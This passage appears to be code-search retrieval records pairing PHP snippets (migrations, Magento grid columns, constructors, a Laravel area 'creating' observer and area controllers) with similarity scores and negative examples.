]\n ),\n new Column(\n 'cupomfinal',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 8,\n 'after' => 'cupominicial'\n ]\n ),\n new Column(\n 'gtinicial',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 14,\n 'scale' => 2,\n 'after' => 'cupomfinal'\n ]\n ),\n new Column(\n 'gtfinal',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 14,\n 'scale' => 2,\n 'after' => 'gtinicial'\n ]\n ),\n new Column(\n 'vbdiaria',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'gtfinal'\n ]\n ),\n new Column(\n 'cancelamentos',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'vbdiaria'\n ]\n ),\n new Column(\n 'vendaliq',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'cancelamentos'\n ]\n ),\n new Column(\n 'basecalculo',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'vendaliq'\n ]\n ),\n new Column(\n 'impostodeb',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'basecalculo'\n ]\n ),\n new Column(\n 'substtrib',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'impostodeb'\n ]\n ),\n new Column(\n 'sangria',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'substtrib'\n ]\n ),\n new Column(\n 'suprimentos',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'sangria'\n ]\n ),\n new Column(\n 'if',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'default' => \" \",\n 'notNull' => true,\n 'size' => 3,\n 'after' => 'suprimentos'\n ]\n ),\n new Column(\n 'id_reg',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 12,\n 'after' => 'if'\n ]\n ),\n new Column(\n 'descontos',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'id_reg'\n ]\n ),\n new Column(\n 'acrescimos',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'descontos'\n ]\n ),\n new Column(\n 'data',\n [\n 'type' => Column::TYPE_DATE,\n 'default' => \"01/01/0001\",\n 'notNull' => true,\n 'size' => 1,\n 'after' => 'acrescimos'\n ]\n ),\n new Column(\n 'dia_semana',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'default' => \" \",\n 'notNull' => true,\n 'size' => 8,\n 'after' => 'data'\n ]\n ),\n new Column(\n 'servicos',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 10,\n 'scale' => 2,\n 'after' => 'dia_semana'\n ]\n ),\n new Column(\n 'serie_ecf',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'default' => \" \",\n 'notNull' => true,\n 'size' => 25,\n 'after' => 'servicos'\n ]\n ),\n new Column(\n 'log',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'default' => \" \",\n 'notNull' => true,\n 'size' => 10,\n 'after' => 'serie_ecf'\n ]\n ),\n new Column(\n 'log_data',\n [\n 'type' => Column::TYPE_DATE,\n 'default' => \"01/01/0001\",\n 'notNull' => true,\n 'size' => 1,\n 'after' => 'log'\n ]\n ),\n new Column(\n 'log_hora',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 4,\n 'scale' => 2,\n 'after' => 'log_data'\n ]\n ),\n new Column(\n 'cro',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 2,\n 'after' => 'log_hora'\n ]\n ),\n new Column(\n 'crz',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 6,\n 'after' => 'cro'\n ]\n ),\n new Column(\n 'num_coo',\n [\n 'type' => Column::TYPE_DECIMAL,\n 'default' => \"0\",\n 'notNull' => true,\n 'size' => 6,\n 'after' => 'crz'\n ]\n ),\n new Column(\n 'hora_red',\n [\n 'type' => Column::TYPE_VARCHAR,\n 'size' => 6,\n 'after' => 'num_coo'\n ]\n ),\n new Column(\n 'campo_md5_registro',\n [\n 'type' => Column::TYPE_CHAR,\n 'size' => 32,\n 'after' => 'hora_red'\n ]\n )\n ],\n 'indexes' => [\n new Index('cpfa227_index00', ['recnum'], null),\n new Index('cpfa227_index01', ['filial', 'numcaixa', 'numero'], null),\n new Index('cpfa227_index02', ['recnum', 'filial', 'numero'], null),\n new Index('cpfa227_index03', ['filial', 'recnum', 'numcaixa', 'numredc'], null),\n new Index('cpfa227_index04', ['recnum', 'filial', 'data'], null),\n new Index('cpfa227_index05', ['recnum', 'data'], null)\n ],\n ]\n );\n }", "public function set($column,$value);", "protected function _prepareColumns()\n {\n parent::_prepareColumns();\n\n\n $this->addColumn('attribute_code', array(\n 'header'=>Mage::helper('strakertranslations_easytranslationplatform')->__('Attribute Code'),\n 'sortable'=>true,\n 'index'=>'attribute_code',\n 'width' => '22%'\n ));\n\n $this->addColumn('frontend_label', array(\n 'header'=>Mage::helper('strakertranslations_easytranslationplatform')->__('Attribute Label'),\n 'sortable'=>true,\n 'index'=>'frontend_label',\n 'width' => '22%'\n ));\n\n $this->addColumn('translate_options', array(\n 'header'=>Mage::helper('strakertranslations_easytranslationplatform')->__('Translate Attribute Options'),\n 'renderer' => 'StrakerTranslations_EasyTranslationPlatform_Block_Adminhtml_Template_Grid_Renderer_TranslateOptions',\n 'align' => 'center',\n 'index' => 'frontend_input',\n 'sortable'=> false,\n 'type' => 'options',\n 'options' => [\n 'no' => Mage::helper('catalog')->__('No Options'),\n 'select' => Mage::helper('catalog')->__('Has Options')\n ],\n 'filter_condition_callback' => array($this, '_optionsFilter'),\n 'width' => '22%'\n ));\n\n $this->addColumn('is_visible', array(\n 'header'=>Mage::helper('catalog')->__('Visible'),\n 'sortable'=>true,\n 'index'=>'is_visible_on_front',\n 'type' => 'options',\n 'options' => array(\n '1' => Mage::helper('catalog')->__('Yes'),\n '0' => Mage::helper('catalog')->__('No'),\n ),\n 'align' => 'center',\n 'width' => '22%'\n ));\n\n $this->addColumn('version',\n array(\n 'header'=> Mage::helper('catalog')->__('Translated'),\n 'width' => '70px',\n 'index' => 'version',\n 'type' => 'options',\n 'options' => array(\n 'Translated' => Mage::helper('catalog')->__('Translated'),\n 'Not Translated' => Mage::helper('catalog')->__('Not Translated')\n ),\n 'renderer' => 'StrakerTranslations_EasyTranslationPlatform_Block_Adminhtml_Template_Grid_Renderer_Translated',\n 'filter_condition_callback' => array($this, '_versionFilter'),\n ));\n\n return $this;\n }", "protected function _createColumnQuery()\n\t{\n\t\n\t}", "public function change()\n {\n $table = $this->table('languages');\n $table->addColumn('is_rtl', 'boolean', [\n 'default' => false,\n 'null' => false,\n ]);\n $table->addColumn('trashed', 'datetime', [\n 'default' => null,\n 'null' => true,\n ]);\n $table->changeColumn('is_active', 'boolean', [\n 'default' => true,\n 'null' => false,\n ]);\n $table->renameColumn('short_code', 'code');\n $table->removeColumn('description');\n $table->update();\n }", "function extamus_screen_layout_columns($columns) {\n $columns['dashboard'] = 1;\n return $columns;\n }" ]
[ "0.576568", "0.5618021", "0.54557556", "0.5451073", "0.54230267", "0.5364717", "0.53503275", "0.5315377", "0.5293316", "0.5220288", "0.52184236", "0.52173567", "0.51908386", "0.51855004", "0.5183881", "0.51822174", "0.5181599", "0.51772684", "0.51566947", "0.514356", "0.5120985", "0.51105326", "0.5106536", "0.50766945", "0.5041807", "0.5040987", "0.50363797", "0.5032753", "0.50306416", "0.50236046", "0.50199217", "0.50004697", "0.49889132", "0.49883652", "0.49812102", "0.49807066", "0.49791327", "0.49768174", "0.49672785", "0.4966826", "0.4958914", "0.49427953", "0.49419677", "0.49350855", "0.49278748", "0.4926231", "0.49219614", "0.49167392", "0.4913345", "0.48988226", "0.48859558", "0.48814428", "0.48774597", "0.4875419", "0.4875046", "0.48620558", "0.4856434", "0.48545125", "0.48452178", "0.48441538", "0.48402104", "0.48397946", "0.48331273", "0.4832922", "0.48315218", "0.48310912", "0.4823916", "0.48198175", "0.4817721", "0.4801431", "0.47961792", "0.47937363", "0.4793291", "0.4792636", "0.47890162", "0.47874078", "0.47871286", "0.47725967", "0.47703573", "0.47689342", "0.47683212", "0.47669473", "0.47668377", "0.47626552", "0.47555232", "0.4750585", "0.47445834", "0.47391954", "0.47299522", "0.47274032", "0.4724591", "0.471622", "0.47157004", "0.47127584", "0.4710384", "0.47097504", "0.47094154", "0.47070768", "0.4706407", "0.4701923" ]
0.63803184
0
Constructor For php4 compatibility we must not use the __constructor as a constructor for plugins because func_get_args ( void ) returns a copy of all passed arguments NOT references. This causes problems with crossreferencing necessary for the observer design pattern.
function plgContentplug_hwd_vs_videoplayer() { }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function __construct() {\t\t\n\t\t$a = func_get_args();\n $i = func_num_args();\n\t\t\n if (method_exists($this, $f='__construct'.$i))\n call_user_func_array(array($this, $f), $a);\n\t}", "function __construct()\n {\n $argn = func_num_args();\n $argv = func_get_args();\n\n if (method_exists($this, $f='__construct'.$argn))\n {\n call_user_func_array(array($this,$f), $argv);\n }\n }", "function __construct($arguments){\n\t\t}", "public function __construct($args = array())\n {\n }", "public function __construct($args = array())\n {\n }", "public function __construct($args = array())\n {\n }", "public function __construct($args = array())\n {\n }", "function __construct() {\n\t\t\t$a = func_get_args();\n\t\t\t$i = func_num_args();\n\t\t\tif (method_exists($this,$f='__construct'.$i)) {\n\t\t\t\tcall_user_func_array(array($this,$f),$a);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tparent::__construct();\n\t\t\t}\n\t\t}", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->events = func_get_arg(0);\n $this->attributes = func_get_arg(1);\n }\n }", "public function __construct(array $arguments = array()) {\n\n\t}", "public function __construct()\n {\n //koji su mu prosledjeni\n $a = func_get_args();\n $i = func_num_args();\n $f = \"__construct\" . $i;\n if (method_exists($this, $f)) {\n call_user_func_array(array($this, $f), $a);\n\n }\n\n }", "public function __construct()\n {\n $this->arguments = func_get_args();\n }", "function __construct()\n\t\t{\n\t\t\t$a = func_get_args();\n\t\t\t$i = func_num_args();\n\t\t\tif (method_exists($this,$f='__construct'.$i)) {\n\t\t\t\tcall_user_func_array(array($this,$f),$a);\n\t\t\t}\n\t\t}", "function __construct()\n\t\t{\n\t\t\t$a = func_get_args();\n\t\t\t$i = func_num_args();\n\t\t\tif (method_exists($this,$f='__construct'.$i)) {\n\t\t\tcall_user_func_array(array($this,$f),$a);\n\t\t\t}\n\t\t}", "protected function _construct($arguments){\n\t\treturn parent::_construct($arguments);\n\t}", "public function __construct($args = '')\n {\n }", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->changedAtMs = func_get_arg(0);\n $this->tempInMilliC = func_get_arg(1);\n }\n }", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->persons = func_get_arg(0);\n $this->companies = func_get_arg(1);\n }\n }", "public function __construct() {\r\n\t\t$args = func_get_args ();\r\n\t\t$num_args = func_num_args ();\r\n\t\t$method = \"__construct\" . $num_args;\r\n\t\t\r\n\t\tif (method_exists ( $this, $method ))\r\n\t\t\tcall_user_func_array ( array (\r\n\t\t\t\t\t$this,\r\n\t\t\t\t\t$method \r\n\t\t\t), $args );\r\n\t\telse\r\n\t\t\tdie ( \"CONSTRUCT '\" . $method . \"' NOT DEFINED!\" );\r\n\t}", "public function __construct() {\r\n\t\t$args = func_get_args ();\r\n\t\t$num_args = func_num_args ();\r\n\t\t$method = \"__construct\" . $num_args;\r\n\t\t\r\n\t\tif (method_exists ( $this, $method ))\r\n\t\t\tcall_user_func_array ( array (\r\n\t\t\t\t\t$this,\r\n\t\t\t\t\t$method \r\n\t\t\t), $args );\r\n\t\telse\r\n\t\t\tdie ( \"CONSTRUCT '\" . $method . \"' NOT DEFINED!\" );\r\n\t}", "public function __construct() {\r\n\t\t$args = func_get_args ();\r\n\t\t$num_args = func_num_args ();\r\n\t\t$method = \"__construct\" . $num_args;\r\n\t\t\r\n\t\tif (method_exists ( $this, $method ))\r\n\t\t\tcall_user_func_array ( array (\r\n\t\t\t\t\t$this,\r\n\t\t\t\t\t$method \r\n\t\t\t), $args );\r\n\t\telse\r\n\t\t\tdie ( \"CONSTRUCT '\" . $method . \"' NOT DEFINED!\" );\r\n\t}", "public function __construct() {\r\n\t\t$args = func_get_args ();\r\n\t\t$num_args = func_num_args ();\r\n\t\t$method = \"__construct\" . $num_args;\r\n\t\t\r\n\t\tif (method_exists ( $this, $method ))\r\n\t\t\tcall_user_func_array ( array (\r\n\t\t\t\t\t$this,\r\n\t\t\t\t\t$method \r\n\t\t\t), $args );\r\n\t\telse\r\n\t\t\tdie ( \"CONSTRUCT '\" . $method . \"' NOT DEFINED!\" );\r\n\t}", "public function __construct() {\r\n\t\t$args = func_get_args ();\r\n\t\t$num_args = func_num_args ();\r\n\t\t$method = \"__construct\" . $num_args;\r\n\t\t\r\n\t\tif (method_exists ( $this, $method ))\r\n\t\t\tcall_user_func_array ( array (\r\n\t\t\t\t\t$this,\r\n\t\t\t\t\t$method \r\n\t\t\t), $args );\r\n\t\telse\r\n\t\t\tdie ( \"CONSTRUCT '\" . $method . \"' NOT DEFINED!\" );\r\n\t}", "protected function __construct() {\n $a = func_get_args();\n $i = func_num_args();\n if (method_exists($this,$f='__construct'.$i) && $i>0) {\n call_user_func_array(array($this,$f),$a);\n }\n\t\telseif(method_exists($this,$f='__construct0')){\n\t\t\tcall_user_func_array(array($this,$f),array());\n\t\t}\n }", "function __construct( $plugin, $args ) {\r\n $this->plugin = $plugin;\r\n $this->name = ! empty( $args['name'] ) ? $args['name'] : get_class( $this );\r\n }", "public function __construct($type, $args = NULL);", "public function __construct()\n {\n if (4 == func_num_args()) {\n $this->method = func_get_arg(0);\n $this->poNumber = func_get_arg(1);\n $this->additionalData = func_get_arg(2);\n $this->extensionAttributes = func_get_arg(3);\n }\n }", "protected abstract function __construct();", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->name = func_get_arg(0);\n $this->values = func_get_arg(1);\n }\n }", "public function __construct(array $args = [])\n {\n $this->args = $args;\n }", "public function __construct()\n {\n $args = func_get_args();\n\n // if an array or object load using fromArray\n if (!empty($args[0]) && (Validate::isAssociativeArray($args[0]) || is_object($args[0]))) {\n $this->fromArray((array)$args[0]);\n }\n }", "public function __construct()\r\n {\r\n if(3 == func_num_args())\r\n {\r\n $this->destination = func_get_arg(0);\r\n $this->hsCode = func_get_arg(1);\r\n $this->source = func_get_arg(2);\r\n }\r\n }", "function __construct($arg0 = null) {\n\t}", "function _construct(){ }", "private final function __construct() {}", "protected function vedConstructArg(array $args = array()) {\n }", "function __construct(callable $argGetter = NULL) {\r\n\t\t\t$this->argGetter = $argGetter;\r\n\t\t}", "public function __construct()\n {\n if (6 == func_num_args()) {\n $this->generation = func_get_arg(0);\n $this->status = func_get_arg(1);\n $this->type = func_get_arg(2);\n $this->lastTransitionTime = func_get_arg(3);\n $this->message = func_get_arg(4);\n $this->reason = func_get_arg(5);\n }\n }", "public function __construct() {\n $this->instance = & get_instance();\n $this->_db = $this->instance->load->database('', TRUE);\n\n $args = func_get_args(); //get arguments passed to function\n $numArgs = func_num_args(); //get number of argumetns passed to function\n\n if ($numArgs == 1) {\n if (is_int($args[0])) {\n if (method_exists($this, $func = '__constructInt')) {\n call_user_func_array(array($this, $func), $args); //Call $func in this class with $args arguments\n }\n } else if (is_string($args[0])) {\n if (method_exists($this, $func = '__constructStr')) {\n call_user_func_array(array($this, $func), $args); //Call $func in this class with $args arguments\n }\n } else if (is_bool($args[0])) {\n if (method_exists($this, $func = '__constructBool')) {\n call_user_func_array(array($this, $func), $args); //Call $func in this class with $args arguments\n }\n }\n } else if ($numArgs > 1) {\n if (method_exists($this, $func = '__construct' . $numArgs)) {\n call_user_func_array(array($this, $func), $args); //Call $func in this class with $args arguments\n }\n }\n }", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->imageChangeParams = func_get_arg(0);\n $this->type = func_get_arg(1);\n }\n }", "public function __construct()\n {\n if (1 == func_num_args()) {\n $this->messages = func_get_arg(0);\n }\n }", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function __construct() {}", "function ___construct($arg, $ar2)\r\n\t{\r\n\t\t//you may access these variables in the plugin as:\r\n\t\t// this.test1 and this.test2\r\n\t\t$this->test1 = array('test_1','test_2');\r\n\t\t$this->test2 = 'test2';\r\n\t}", "public function __construct($arg = null)\n {\n }", "public function __construct(){\n\t\tglobal $GLANG;\n\t\t$this->arguments = func_get_args();\n\t\t$this->lang = $GLANG;\n\t\t}", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->liable = func_get_arg(0);\n $this->chargeProcessingFee = func_get_arg(1);\n }\n }", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->backend = func_get_arg(0);\n $this->path = func_get_arg(1);\n }\n }", "public function __construct()\n {\n if (6 == func_num_args()) {\n $this->shippingAssignments = func_get_arg(0);\n $this->giftMessage = func_get_arg(1);\n $this->amazonOrderReferenceId = func_get_arg(2);\n $this->appliedTaxes = func_get_arg(3);\n $this->itemAppliedTaxes = func_get_arg(4);\n $this->convertingFromQuote = func_get_arg(5);\n }\n }", "function __construct() ;", "function __constructor(){}", "public function __construct()\n {\n if (3 == func_num_args()) {\n $this->dialogs = func_get_arg(0);\n $this->language = func_get_arg(1);\n $this->styling = func_get_arg(2);\n }\n }", "public function __construct() {\n $get_arguments = func_get_args();\n $number_of_arguments = func_num_args();\n\n if($number_of_arguments == 1){\n $this->logger = $get_arguments[0];\n }\n }", "public function __construct()\n {\n $args = func_get_args ();\n if (empty ( $args [0] )) {\n $args [0] = array ();\n }\n $this->_data = $args [0];\n }", "public function __construct() {\n\t\t\t\t$this->buildDbInterface();\n\t\t\t\t$in = func_get_args();\n\t\t\t\t$i = func_num_args();\n\t\t\t\tif (method_exists($this,$f='__construct'.$i)) {\n\t\t\t\t\tcall_user_func_array(array($this,$f),$in);\n\t\t\t\t} \n\t\t}", "final private function __construct() {}", "final private function __construct() {}", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->causes = func_get_arg(0);\n $this->message = func_get_arg(1);\n }\n }", "function __construct(&$vars) {\r\n }", "public function __construct()\n {\n if (2 == func_num_args()) {\n $this->circle = func_get_arg(0);\n $this->polygon = func_get_arg(1);\n }\n }", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}" ]
[ "0.72644794", "0.72484857", "0.7246318", "0.7242646", "0.7242636", "0.7242636", "0.7242543", "0.7156895", "0.71427906", "0.7140867", "0.71375155", "0.7134816", "0.7128554", "0.7112278", "0.7060297", "0.7029787", "0.7029094", "0.69470745", "0.6900293", "0.6900293", "0.6900293", "0.6900293", "0.6900293", "0.68377435", "0.68250513", "0.6821495", "0.6774671", "0.67430013", "0.6717217", "0.6712923", "0.6703989", "0.6697282", "0.66904604", "0.66856194", "0.6680706", "0.6656776", "0.66562665", "0.6650925", "0.6648422", "0.6646498", "0.66450477", "0.66355914", "0.66355914", "0.66355914", "0.66355914", "0.66355914", "0.66355914", "0.6635194", "0.66350037", "0.66298693", "0.6612883", "0.6600302", "0.6597865", "0.6591003", "0.6585931", "0.6585105", "0.6555982", "0.6554175", "0.65510106", "0.6537238", "0.6537238", "0.65268564", "0.65254337", "0.651594", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694", "0.65118694" ]
0.0
-1
Handle the area "creating" event.
public function creating(Area $area) { $original_name = $area->name; $area->name = optional(strstr($area->name, ':', true) ?: null, function ($name) use ($area, $original_name) { $area->extra_attributes['original_name'] = $original_name; return $name; }) ?? $original_name; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n //\n return view('area.create');\n }", "public function create()\n {\n //\n return view('backend.area.create');\n }", "public function create()\n {\n return view('main.expedition.area.create');\n }", "function create()\n\t{\n\t\tglobal $ilDB;\n\n\t\t$q = \"INSERT INTO map_area (item_id, nr, shape, \".\n\t\t\t\"coords, link_type, title, href, target, type, highlight_mode, highlight_class, target_frame) \".\n\t\t\t\" VALUES (\".\n\t\t\t$ilDB->quote($this->getItemId(), \"integer\").\",\".\n\t\t\t$ilDB->quote($this->getNr(), \"integer\").\",\".\n\t\t\t$ilDB->quote($this->getShape(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getCoords(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getLinkType(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getTitle(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getHref(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getTarget(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getType(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getHighlightMode(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getHighlightClass(), \"text\").\",\".\n\t\t\t$ilDB->quote($this->getTargetFrame(), \"text\").\")\";\n\t\t$ilDB->manipulate($q);\n\t}", "public function actionCreate()\n {\n $model = new Area;\n if (isset($_POST['Area'])) {\n try {\n $transaction = Yii::app()->db->beginTransaction();\n $usuario = User::model()->getUsuarioLogueado();\n if(is_null($usuario) || is_null($usuario->ultimo_proyecto_id)) {\n throw new Exception(\"Debe seleccionar un proyecto para empezar a trabajar\");\n }\n\n $model->attributes = $_POST['Area'];\n if (!$model->save()) {\n throw new Exception(\"Error al guardar area\");\n }\n $area_proyecto = new AreaProyecto();\n $area_proyecto->area_id = $model->id;\n $area_proyecto->proyecto_id = $usuario->ultimo_proyecto_id;\n if(!$area_proyecto->save()){\n throw new Exception(\"Error al crear area_proyecto\");\n }\n\n $transaction->commit();\n Yii::app()->user->setNotification('success', 'El area fue creada con exito');\n $this->redirect(array('create'));\n }catch (Exception $exception) {\n $transaction->rollback();\n Yii::app()->user->setNotification('error', $exception->getMessage());\n $this->redirect(array('admin'));\n }\n\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "public function create()\n {\n return view ('config.areas.create');\n }", "public function create()\n {\n return view('areas.create');\n }", "public function create()\n {\n return view('admin.areas.create');\n }", "public function create()\n {\n return view('admin.areas.create');\n }", "public function create()\n {\n return view('content_areas.create');\n }", "function after_create() {}", "public function create()\n {\n $areaones = AreaOne::all();\n return view('admin.area_one.create', compact('areaones'));\n }", "public function postArea($areaDetail)\n {\n \n }", "public function run()\n {\n Area::create([\n\t\t\t'area'\t=> \"INGENIERIA DE SOFTWARE\",\n ]);\n Area::create([\n\t\t\t'area'\t=> \"SISTEMAS DE INFORMACIÓN\",\n ]);\n Area::create([\n\t\t\t'area'\t=> \"SISTEMAS COMPLEJOS\",\n ]);\n Area::create([\n\t\t\t'area' => \"TECNOLOGIAS DE LA INFORMACIÓN Y COMUNICACIÓN\",\n ]);\n }", "public function run()\n {\n Area::create(['nombrearea' => 'Teleinformatica','descripcion' => 'Computo','fkCentro' => '3','fkEstado' => '13']);\n Area::create(['nombrearea' => 'Mercadeo','descripcion' => 'Ventas','fkCentro' => '3','fkEstado' => '13']);\n }", "public function create()\n {\n $roomfeatures = RoomFeature::all();\n \n $this->layout = View::make('roomtypes.new-roomtype', array('roomfeatures' => $roomfeatures));\n $this->layout->title = trans('syntara::rooms.features.new');\n $this->layout->breadcrumb = Config::get('syntara::breadcrumbs.create_room_feature');\n }", "public function create(): View\n {\n return view('titan::admin.areas.create');\n }", "public function create()\n\t{\n\t\t// handled by backbone routes\n\t}", "public function newAction()\n {\n $entity = new Area();\n $form = $this->createCreateForm($entity);\n\n return $this->render('AcuerdosGestionBundle:Area:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $user = UserDetail::findOrFail(Session::get('id'));\n\n // TODO: displayed areas should be that are not assigned maps\n $areas = Area::all();\n\n return view('admin.area-images.create', compact('areas', 'user'));\n }", "public function created(Apartment $apartment)\n {\n //\n }", "public function store(CreateUpdateAreaRequest $request)\n {\n $area = new Area();\n $area->fill($request->only('name'));\n $area->save();\n\n flash(\"Area created\");\n\n return redirect()->route('admin.areas.edit', $area);\n }", "public function run()\n {\n\n\n Area::create([\n 'label' => 'Kiev Area',\n 'name' => 'kiev_area'\n ]);\n\n Area::create([\n 'label' => 'Moscow Area',\n 'name' => 'moscow_area'\n ]);\n\n Area::create([\n 'label' => 'New York Area',\n 'name' => 'new_york_area'\n ]);\n }", "public function createAction(Request $request)\n {\n $entity = new Area();\n $form = $this->createCreateForm($entity);\n $form->handleRequest($request);\n\n if ($form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->persist($entity);\n $em->flush();\n\n $this->get('session')->getFlashBag()->add(\n 'notice',\n 'Sus datos fueron guardados satisfactoriamente!'\n );\n\n return $this->redirect($this->generateUrl('area', array('id' => $entity->getId())));\n }\n\n return $this->render('AcuerdosGestionBundle:Area:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n\t{\t\n\t\t\n\t\t// load the create form (app/views/fbf_historico_atleta_cameponato/create.blade.php)\n\t\t$this->layout->content = View::make('fbf_historico_atleta_cameponato.create')\n;\n\t}", "public function create()\n {\n return view('area.form');\n }", "public function create()\n {\n if(auth()->user()->can('create-administrativeArea'))\n {\n return view('administrativeAreas.create');\n }\n return redirect('/')->with('data', ['alert'=>'حدث خطأ في المصادقة','alert-type'=>'danger']);\n }", "public function create()\n {\n return view('tareas.create');\n }", "public function create()\n {\n return view('tareas.create');\n }", "public function create()\n {\n $permissions = Permission::get();\n\n return view('area.create', compact('permissions'));\n }", "public function create()\n {\n $area = Area::with('departamentos')->get();\n\n return view('sub_area.create',['areas' => $area]);\n }", "function tmiCreateContentAreaPost() {\n\t$labels = array(\n\t\t'name' => _x( 'Content Areas', 'post type general name', 'tmi' ),\n\t\t'singular_name' => _x( 'Content Area', 'post type singular name', 'tmi' ),\n\t\t'menu_name' => _x( 'Content Areas', 'admin menu', 'tmi' ),\n\t\t'name_admin_bar' => _x( 'Content Area', 'add new on admin bar', 'tmi' ),\n\t\t'add_new' => _x( 'Add New', 'Content Area', 'tmi' ),\n\t\t'add_new_item' => __( 'Add New Content Area', 'tmi' ),\n\t\t'new_item' => __( 'New Content Area', 'tmi' ),\n\t\t'edit_item' => __( 'Edit Content Area', 'tmi' ),\n\t\t'view_item' => __( 'View Content Area', 'tmi' ),\n\t\t'all_items' => __( 'All Content Areas', 'tmi' ),\n\t\t'search_items' => __( 'Search Content Areas', 'tmi' ),\n\t\t'parent_item_colon' => __( 'Parent Content Areas:', 'tmi' ),\n\t\t'not_found' => __( 'No Content Areas found.', 'tmi' ),\n\t\t'not_found_in_trash' => __( 'No Content Areas found in Trash.', 'tmi' )\n\t);\n\n\t$args = array(\n\t\t'labels' => $labels,\n 'description' => __( 'Description.', 'tmi' ),\n\t\t'public' => true,\n\t\t'publicly_queryable' => true,\n\t\t'show_ui' => true,\n\t\t'show_in_menu' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'Content Area' ),\n\t\t'capability_type' => 'post',\n\t\t'has_archive' => true,\n\t\t'hierarchical' => false,\n\t\t'menu_position' => null,\n\t\t'supports' => array( 'title', 'editor')\n\t);\n\tregister_post_type( 'tmi-content-Area', $args );\n}", "public function onRoomsAdd()\n\t{\n\t\t$this->onTaskAdd();\n\t}", "public function create()\n {\n $id = Auth::user()->id;\n\n $params = [\n 'titulo' => 'Cadastrar 